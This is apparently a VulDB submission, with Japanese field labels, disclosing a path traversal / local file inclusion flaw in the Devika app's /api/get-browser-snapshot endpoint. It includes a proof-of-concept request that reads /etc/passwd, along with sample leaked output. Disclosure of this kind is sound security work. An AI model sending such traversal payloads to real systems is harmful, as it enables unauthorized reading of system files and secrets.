| タイトル | Devika latest Local File Inclusion |
|---|
| 説明 | The function `browser_snapshot` is vulnerable to **Local File Inclusion (LFI)** due to improper input validation on the `snapshot_path` parameter. An attacker can exploit this vulnerability to read arbitrary files from the server by sending a crafted HTTP GET request to the `/api/get-browser-snapshot` endpoint.
### Exploitation Steps
1. **Request**: An attacker sends a GET request to the vulnerable endpoint with the `snapshot_path` parameter set to a file path on the server.
**Example Request:**
```vbnet
GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd HTTP/1.1
Host: vulnerable-app.com
```
2. **Response**: The server responds with the contents of the specified file, potentially leaking sensitive data.
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
```
POC
### Impact
- **Information Disclosure**: An attacker can read sensitive system files like `/etc/passwd`, application configuration files, or other resources on the server, leading to **data leakage**.
- **Further Exploitation**: This can be used as a precursor for remote code execution (RCE) by including files containing sensitive environment variables or application secrets. |
|---|
| ソース | ⚠️ https://torada.notion.site/Vulnerability-Report-Local-File-Inclusion-LFI-10de10af6a668056a532e55b4598ec36?pvs=4 |
|---|
| ユーザー | torada (UID 61170) |
|---|
| 送信 | 2024年09月26日 23:58 (2 年 ago) |
|---|
| モデレーション | 2024年10月06日 11:58 (9 days later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 272383 [stitionai devika get-browser-snapshot snapshot_path ディレクトリトラバーサル] |
|---|
| ポイント | 0 |
|---|